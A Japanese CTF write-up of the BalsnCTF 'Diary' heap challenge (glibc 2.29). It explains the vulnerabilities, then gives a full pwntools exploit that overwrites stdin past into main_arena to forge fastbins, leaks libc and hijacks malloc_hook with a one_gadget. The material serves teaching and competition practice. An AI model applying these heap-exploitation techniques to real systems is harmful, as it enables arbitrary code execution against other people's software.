イントロ
生存確認。
ちゃんと時間を取って取り組んだわけではないけれど、いつぞや開催された BalsnCTF の pwn 問題 Diary。
最近 heap 問題見るとすごく面倒くさい気持ちになってきました。
今回から、目次の前に keywords を置いてみました。結局 pwn(特に heap)の場合には与えられた vulns からできることを組み立てていくことが殆どなので、CTF 中に vuln から使える解法を逆引きできたほうが自分的に便利ということで置いています。続ける保証はないです。
静的解析
.sh1./diary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=53d5963091eba5e6879841c661d474196be39e5c, for GNU/Linux 3.2.0, stripped
2 Arch: amd64-64-little
3 RELRO: Full RELRO
4 Stack: Canary found
5 NX: NX enabled
6 PIE: PIE enabled
7FROM ubuntu:disco-20200114 (libc 2.29)
プログラムは典型的なメモ帳の追加・編集・出力・消去を行う。但し、消去は各メモ帳に付き 1 回しかできず、編集は実行中に 1 回しかできない。
追加するメモ帳のサイズは 0x80 以下であり、書き込み時には read()
で読むため NULL を気にせず書き込める。だが、出力は printf("%s")
で行うため NULL で出力が切れてしまう。
Vulns
脆弱性は 3 つ。
1 つ目。最初に name
を入力するのが、そのバッファが NULL 終端されず、且つヒープへのポインタが隣接しているため容易に heapbase がリークできる。
2 つ目。ただ 1 回できる edit
において、メモ帳のインデックスとして負数を入力できる。ここでメモ帳は .bss
section に確保されており、その上部には stdin
が入っている。よって、負数の edit
を用いることで stdin
を書き換えることができる。この際、プログラムの仕様により入力可能バイト数は stdin->flags (0xFBAD208B)
であり、実質無制限に書き換えることができる。
3 つ目。これは攻撃に使うことはできない(寧ろ邪魔になる)が、確保していないメモ帳に対して消去(free)することができる。
方針
今回で一番強い制限は edit
が 1 回しかできないということ。また、vuln よりできることは stdin/stdout
の書き換え。
この 2 点より、典型的な _IO_FILE_plus
forge の方針を考えてしまいそうになる。例えば stdin
のバッファアドレスを heap
に書き換えることで heap
を自在に操作できるようにして unsorted
を生成するということが考えられる。だがこの場合、生成した libcbase を出力するための方法がなかなか思いつかない。逆に stdout
を書き換えたとすると libcbase のリークは簡単だろうが、任意の値をメモリ中に書き込むのが難しい。
そこで、stdout/stdin
が無制限に書き換えられるということに注目する。stdin
の後方を見てみると、main_arena
及び malloc_hook
が存在している。よって、stdin
を書き換えるのではなく、stdin
から始めて main_arena/malloc_hook
を書き換えることを方針とする。
forge fastbinsY of main_arena to leak libcbase
main_arena
には mfastbinptr fastbinsY[10]
という fastbin
の root を保持する配列が有る。
House of Corrosionとかで global_max_fast
を書き換えて攻撃の起点とするアレだ。
今回はこれを直接書き換えて、heap 中の任意のアドレスに持っていく。 これの一つを、メモリ中の unsorted のすぐ上を指すように書き換える。これによって、生成された libcbase をリークすることができる。
ここで、unsorted は 0x90 サイズのメモ帳を 7 個作って free することで生成できる。尚、使用されているのは calloc() であるため、tcache から取られることはないし、何より確保領域が NULL クリアされるため、細かいところに気配りが必要になる。そこは大和魂でなんとかする。heap 問題って、説明のしようがないのも嫌いです。こんなブログ、「heap feng shui します」の一言で本来終わってしまうもんだからな。
forge linked-list of fastbins and consolidate them into tcache
ここまでで heapbase/libcbase がリークできているため、次は malloc_hook
を書き換えることを考える。
先程の main_arena
の書き換えに於いて適当な位置を 0x70
サイズの fastbin が指すようにしておく。
さらにそいつが指す先に有る fake chunk の fd
を他のメモ帳を使って書き換えることで、fastbin のfd
を自由な値にすることができる。
これによって malloc_hook
を指させることにする。
最大の障壁は、0x90
サイズの fastbin が存在しないということである。
最初に unsorted を生成するために tcache[0x90]
には現在 7 つの chunk が繋がっている。
fastbin は 0x20~0x80 であるからこそ、これで unsorted が生成されるわけである。
だが、main_arena の forge による fastbin の書き換えでは 0x90 の chunk は作れないため、0x70 等のサイズを使用する必要が有る。
だが、それらのサイズを使うと今度は fastbin->fd
を書き換える際に malloc consolidation が発生し、せっかく書き換えた fastbin が全て tcache へぶっ飛んでいってしまう。
これを回避するために、予め互いにリンクした fake chunk(0x70) を用意しておく。
そして main_arena の書き換えによって、root-> 大量のリンクリスト-> libcbase をリークした後に生成した fake fastbin-> malloc_hook
というリストを作り出す。
これによって、consolidation が発生した際に用意した大量の chunks を tcache に持っていき、所望のfd
をもつ chunk は fastbin に格納させることができる。
この辺をどうやるか、それは勿論決まっている。
_HEAP FENG SHUI です!!!!!!!! _
exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5from smallkirbypwn import *
6import sys
7
8FILENAME = "./diary"
9LIBCNAME = "./libc-2.29.so"
10
11hosts = ("diary.balsnctf.com","localhost","localhost")
12ports = (10101,12300,23947)
13rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
14rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
15rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
16context(os='linux',arch='amd64')
17binf = ELF(FILENAME)
18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
19
20class _IO_FILE(object):
21 def __init__(self,
22 read_ptr=None, read_end=None, read_base=None,
23 write_base=None, write_ptr=None, write_end=None,
24 buf_base=None, buf_end=None,
25 save_base=None, backup_base=None, save_end=None,
26 lock=None, wide_data=None):
27 self.read_ptr = read_ptr if read_ptr!=None else 0
28 self.read_end = read_end if read_end!=None else 0
29 self.read_base = read_base if read_base!=None else 0
30 self.write_base = write_base if write_base!=None else 0
31 self.write_ptr = write_ptr if write_ptr!=None else 0
32 self.write_end = write_end if write_end!=None else 0
33 self.buf_base = buf_base if buf_base!=None else 0
34 self.buf_end = buf_end if buf_end!=None else 0
35 self.save_base = save_base if save_base!=None else 0
36 self.backup_base = self.backup_base if backup_base!=None else 0
37 self.save_end = save_end if save_end!=None else 0
38 self.flag = 0xfbad208b
39 self.markers = 0
40 self.chain = 0 # stdin addr if stdout
41 self.fileno = 0 # 1 if stdout
42 self.fileno2= 0
43 self.old_offset = 0xffffffffffffffff
44 self.lock = lock if lock!=None else 0
45 self.offset = 0xffffffffffffffff
46 self.code_cvt = 0
47 self.wide_data = wide_data if wide_data!=None else 0
48 self.freeres_list = 0
49 self.freeres_buf = 0
50 self.pad5 = 0
51 self.mode = 0xffffffff
52 return None
53
54 def gen(self):
55 pay = b""
56 pay += p64(self.flag)
57 pay += p64(self.read_ptr) + p64(self.read_end) + p64(self.read_base)
58 pay += p64(self.write_base) + p64(self.write_ptr) + p64(self.write_end)
59 pay += p64(self.buf_base) + p64(self.buf_end)
60 pay += p64(self.save_base) + p64(self.backup_base) + p64(self.save_end)
61 pay += p64(self.markers)
62 pay += p64(self.chain)
63 pay += p32(self.fileno) + p32(self.fileno2)
64 pay += p64(self.old_offset)
65 pay += p64(0x000000000a000000) # cur_column + vtable_offset + shortbuf
66 pay += p64(self.lock)
67 pay += p64(self.offset)
68 pay += p64(self.freeres_list) + p64(self.freeres_buf) + p64(self.pad5)
69 pay += p32(self.mode) + p32(0)
70 return pay
71
72class _IO_FILE_plus(_IO_FILE):
73 def __init__(self,
74 read_ptr=None, read_end=None, read_base=None,
75 write_base=None, write_ptr=None, write_end=None,
76 buf_base=None, buf_end=None,
77 save_base=None, backup_base=None, save_end=None,
78 lock=None, wide_data=None, vtable=None):
79 super(_IO_FILE_plus, self).__init__(
80 read_ptr, read_end, read_base,
81 write_base, write_ptr, write_end,
82 buf_base, buf_end,
83 save_base, backup_base, save_end,
84 lock, wide_data)
85 self.vtable = vtable if vtable!=None else 0
86
87 def gen(self):
88 pay = super(_IO_FILE_plus, self).gen()
89 pay += p64(0) * 4
90 pay += p64(self.vtable)
91 return pay
92
93class main_arena:
94 def __init__(self):
95 self.mutex = 0
96 self.flags = 0
97 self.have_fastbinchunks = 0
98 self.fastbins = {}
99 return None
100
101 def set(self, size, addr):
102 self.fastbins[hex(size)] = addr
103 return self
104
105 def gen_fastbinchunks(self):
106 pay = b""
107 for i in range(8):
108 if hex(i*0x10+0x20) in self.fastbins:
109 pay += p64(self.fastbins[hex(i*0x10+0x20)])
110 else:
111 pay += p64(0)
112 return pay
113
114 def gen(self):
115 pay = b""
116 pay += p32(self.mutex) + p32(self.flags)
117 pay += p32(self.have_fastbinchunks)
118 pay += p32(0) # hole
119 pay += self.gen_fastbinchunks()
120 return pay
121
122
123## utilities #########################################
124
125def hoge(ix):
126 global c
127 c.recvuntil("choice : ")
128 c.sendline(str(ix))
129
130def _show():
131 global c
132 hoge(1)
133
134def _write(_size, _content, stop=False):
135 global c
136 hoge(2)
137 c.recvuntil("Length : ")
138 c.send(str(_size))
139 if stop:
140 return
141 c.recvuntil("Content : ")
142 c.send(_content)
143
144def _read(page):
145 global c
146 hoge(3)
147 c.recvuntil("Page : ")
148 c.send(str(page))
149
150def _edit(page, content):
151 global c
152 hoge(4)
153 c.recvuntil("Page : ")
154 c.sendline(str(page))
155 c.recvuntil("Content : ")
156 c.send(str(content))
157
158def _tear(page):
159 global c
160 hoge(5)
161 c.recvuntil("Page : ")
162 c.send(str(page))
163
164## exploit ###########################################
165
166def exploit():
167 global c
168 ds = 0x80
169 name = "A"*0x20
170
171 # setup name
172 c.recvuntil("name : ")
173 c.send(name)
174
175 # leak heapbase
176 _write(ds, "B"*ds) # 0
177 _show()
178 c.recvuntil("A"*0x20)
179 leak = unpack(c.recvline().rstrip().ljust(8,'\x00'))
180 heapbase = leak - 0x260
181 print("[+] leaked: "+hex(leak))
182 print("[+] heapbase: "+hex(heapbase))
183
184 # generate unsorted
185 sz = 0x31
186 for i in range(0x8): # 1..0x9
187 if i==0: # to fulfill fastbin(0x80)
188 _write(ds, p32(0) + p64(0) + (p64(heapbase+0x300)+p64(0x81)) + (p64(heapbase+0x310)+p64(0x81))+(p64(heapbase+0x320)+p64(0x81)) + (p64(heapbase+0x330)+p64(0x81)) + (p64(heapbase+0x340)+p64(0x81)) + (p64(heapbase+0x350)+p64(0x81)) + (p64(heapbase+0x380)+p64(0x81)))
189 elif i==1:
190 _write(ds, p32(0) + p64(0x71) + (p64(heapbase+0x610)+p64(0x81)))
191 else:
192 _write(ds, p32(0) + (p64(0x71)+p64(0))*((ds-4)//0x10 - 2) + (p64(sz)+p64(0))*2)
193 for i in range(0x8):
194 _tear(i) # generate unsorted at heapbase+0x640
195
196 # forge main_arena
197 mp = main_arena()
198 mp.set(0x30, heapbase + 0x620).set(0x70, heapbase + 0x600).set(0x80, heapbase+0x300)
199 pay = b""
200 pay += _IO_FILE_plus(vtable=0).gen()[4:]
201 pay += p8(0x40) * 0x130 # pad wide_data
202 pay += p64(0x81)*2 # fake sz for overwriting malloc_hook
203 pay += p64(0x00)*2 # fake fd for overwriting malloc_hook
204 pay += p64(0) # malloc_hook
205 pay += p64(0)
206 pay += mp.gen()
207 _edit(-6, pay)
208
209 # leak libcbase
210 _write(0x24, "A"*(0x24)) # 0xa@heapbase+0x660
211 _read(0x9)
212 c.recvuntil("A"*0x24)
213 leak = unpack(c.recvline().rstrip().ljust(8,'\x00'))
214 libcbase = leak - 0x1e4ca0
215 print("[+] leak: "+hex(leak))
216 print("[+] libcbase: "+hex(libcbase))
217
218 # overwrite fastbin's fd
219 ogs = [addr + libcbase for addr in [0xe237f, 0xe2383, 0xe2386, 0x106ef8]]
220 _write(0x60, p32(0) + p64(0x81) + p64(libcbase + 0x1e4c10)) # @heapbase+0x610 consolidate into tcache
221 _write(0x70, "A"*0x10) # connect malloc_hook into unsorted(0x80)
222 _write(0x70, "A"*0xc + p64(ogs[3])) # overwrite malloc_hook
223
224 # boomb
225 _write(0x60, "X", stop=True)
226
227
228## main ##############################################
229
230if __name__ == "__main__":
231 global c
232
233 if len(sys.argv)>1:
234 if sys.argv[1][0]=="d":
235 cmd = """
236 set follow-fork-mode parent
237 """
238 c = gdb.debug(FILENAME,cmd)
239 elif sys.argv[1][0]=="r":
240 c = remote(rhp1["host"],rhp1["port"])
241 elif sys.argv[1][0]=="v":
242 c = remote(rhp3["host"],rhp3["port"])
243 else:
244 c = remote(rhp2['host'],rhp2['port'])
245 exploit()
246 c.interactive()
アウトロ
まじで、Verilog めっちゃ苦手です
ハードウェアの気持ちを考えて書くことができない。